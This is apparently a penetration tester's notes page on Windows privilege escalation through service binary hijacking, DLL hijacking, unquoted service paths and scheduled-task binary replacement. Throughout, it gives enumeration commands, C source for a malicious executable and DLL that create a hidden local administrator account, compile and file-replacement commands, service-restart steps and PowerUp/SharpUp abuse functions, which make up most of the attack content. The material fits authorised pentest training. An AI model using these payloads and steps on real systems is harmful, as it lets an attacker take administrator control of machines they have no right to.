Windows Services

Service Binary Hijacking

Steps

  1. Check the services (detect which are in unusual folders)

  2. Check our permissions in those folders

  3. Create a malicious.exe

  4. Remplace the .exe

  5. Restart the service

To get a list of all installed Windows services, we can choose various methods such as the GUI snap-in services.msc, the Get-Service Cmdlet, or the Get-CimInstance Cmdlet (superseding Get-WmiObject).

List of services with binary path

Get-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -like 'Running'}

Enumerate the permissions

Next, let's enumerate the permissions on both service binaries. We can choose between the traditional icacls Windows utility or the PowerShell Cmdlet Get-ACL. For this example, we'll use icacls since it usable both in PowerShell and the Windows command line.

Permissions Table

Mask
Permissions

F

Full access

M

Modify access

RX

Read and execute access

R

Read-only access

W

Write-only access

icacls "C:\PATH\TO\BINARY\<BINARY>"

Permissions Abuse

Let's create a small binary on Kali, which we'll use to replace the original .exe

adduser.c

#include <stdlib.h>

int main ()
{
  int i;
  
  i = system ("net user hacked Hacked123! /add");
  i = system ("net localgroup administrators hacked /add");
  
  return 0;
}

Compiling

x86_64-w64-mingw32-gcc adduser.c -o adduser.exe

Copy the file

cmd /c copy /Y SecurityService.exe "C:\Program Files (x86)\PCProtect\SecurityService.exe"

Execution

net stop <SERVICE>
net start <SERVICE>
sc start <SERVICE>
Restart-Service <SERVICE>

or

If the service StartMode is auto:

Get-CimInstance -ClassName win32_service | Select Name, StartMode | Where-Object {$_.Name -like '<service>'}

Verify that the user have the SeShutdown privilege:

whoami /priv
shutdown /r /t 0

Automated Tools

PowerView

powershell -ep bypass
. .\PowerUp.ps1

PS > Get-ModifiableServiceFile

...

ServiceName                     : mysql
Path                            : C:\xampp\mysql\bin\mysqld.exe --defaults-file=c:\xampp\mysql\bin\my.ini mysql
ModifiableFile                  : C:\xampp\mysql\bin\mysqld.exe
ModifiableFilePermissions       : {WriteOwner, Delete, WriteAttributes, Synchronize...}
ModifiableFileIdentityReference : BUILTIN\Users
StartName                       : LocalSystem
AbuseFunction                   : Install-ServiceBinary -Name 'mysql'
CanRestart                      : False

Install-ServiceBinary -Name '<SERVICE>'

SharpUp

We can use SharpUp from the GhostPack suite of tools to check for service binaries suffering from weak ACLs.

.\SharpUp.exe audit

=== SharpUp: Running Privilege Escalation Checks ===


=== Modifiable Service Binaries ===

  Name             : SecurityService
  DisplayName      : PC Security Management Service
  Description      : Responsible for managing PC security
  State            : Stopped
  StartMode        : Auto
  PathName         : "C:\Program Files (x86)\PCProtect\SecurityService.exe"
  
  <SNIP>

DLL Hijacking

If there is an uncommon path for any service check the permissions after

Get-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -like 'Running'}
icacls .\PATH\TO\BINARY\<BINARY>.exe

Check the file locally

  1. Download the .exe of the service

  2. Create the service and start it locally

sc.exe create "<service_name>" binpath= "<path_to_exe>"
sc.exe start <service_name>
  1. Open Process Monitor and use this filters:

If .dll is found it is vulnerable

customdll.cpp

#include <stdlib.h>
#include <windows.h>

BOOL APIENTRY DllMain(
HANDLE hModule,// Handle to DLL module
DWORD ul_reason_for_call,// Reason for calling function
LPVOID lpReserved ) // Reserved
{
    switch ( ul_reason_for_call )
    {
        case DLL_PROCESS_ATTACH: // A process is loading the DLL.
        int i;
        i = system ("net user <USERNAME> <PASSWORD> /add");
        i = system ("net localgroup administrators <USERNAME> /add");
        break;
        case DLL_THREAD_ATTACH: // A process is creating a new thread.
        break;
        case DLL_THREAD_DETACH: // A thread exits normally.
        break;
        case DLL_PROCESS_DETACH: // A process unloads the DLL.
        break;
    }
    return TRUE;
}

Compiling customdll.cpp

x86_64-w64-mingw32-gcc customdll.cpp --shared -o customdll.dll

Copy the .dll file to the desired path.

Restart-Service <SERVICE>
Get-LocalGroupMember administrators

Unquoted Service Path

When a service is installed, the registry configuration specifies a path to the binary that should be executed on service start. If this binary is not encapsulated within quotes, Windows will attempt to locate the binary in different folders. Take the example binary path below.

Service Binary Path

C:\Program Files (x86)\System Explorer\service\SystemExplorerService64.exe

Windows will decide the execution method of a program based on its file extension, so it's not necessary to specify it. Windows will attempt to load the following potential executables in order on service start, with a .exe being implied:

  • C:\Program

  • C:\Program Files

  • C:\Program Files (x86)\System

  • C:\Program Files (x86)\System Explorer\service\SystemExplorerService64

Enumerate running and stopped services

Get-CimInstance -ClassName win32_service | Select Name,State,PathName

Searching for Unquoted Paths (cmd)

wmic service get name,pathname |  findstr /i /v "C:\Windows\\" | findstr /i /v """

Check if we can start / stop the service

Start-Service <service>
Stop-Service <service>

Check the permissions to write

icacls "C:\"
icacls "C:\Program Files"
icacls "C:\Program Files\my example"

Craft the malicious.exe

Use the adduser.c file created in Permissions Abuse

Copy the malicious .exe

copy .\Current.exe 'C:\Program Files\Enterprise Apps\Current.exe'

Start the service

Start-Service <SERVICE>
Start-Service : Service 'GammaService (GammaService)' cannot be started due to the following error: Cannot start
service GammaService on computer '.'.
At line:1 char:1
+ Start-Service GammaService
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : OpenError: (System.ServiceProcess.ServiceController:ServiceController) [Start-Service],
   ServiceCommandException
    + FullyQualifiedErrorId : CouldNotStartService,Microsoft.PowerShell.Commands.StartServiceCommand

After the error, check if succesfull. The error stems from the fact that our cross-compiled C code does not accept the parameters that are a leftover of the original service binary path. However, Current.exe was still executed

Automated Tools

PowerView

powershell -ep bypass
. .\PowerUp.ps1
Get-UnquotedService
Write-ServiceBinary -Name '<SERVICE>' -Path "C:\Program Files\my example\example.exe"
Start-Service <SERVICE>

Scheduled tasks

schtasks /query /fo LIST /v

Check the permissions

icacls C:\Users\steve\Pictures\BackendCacheCleanup.exe

Copy the file

move .\Pictures\BackendCacheCleanup.exe BackendCacheCleanup.exe.bak
move .\BackendCacheCleanup.exe .\Pictures\

Last updated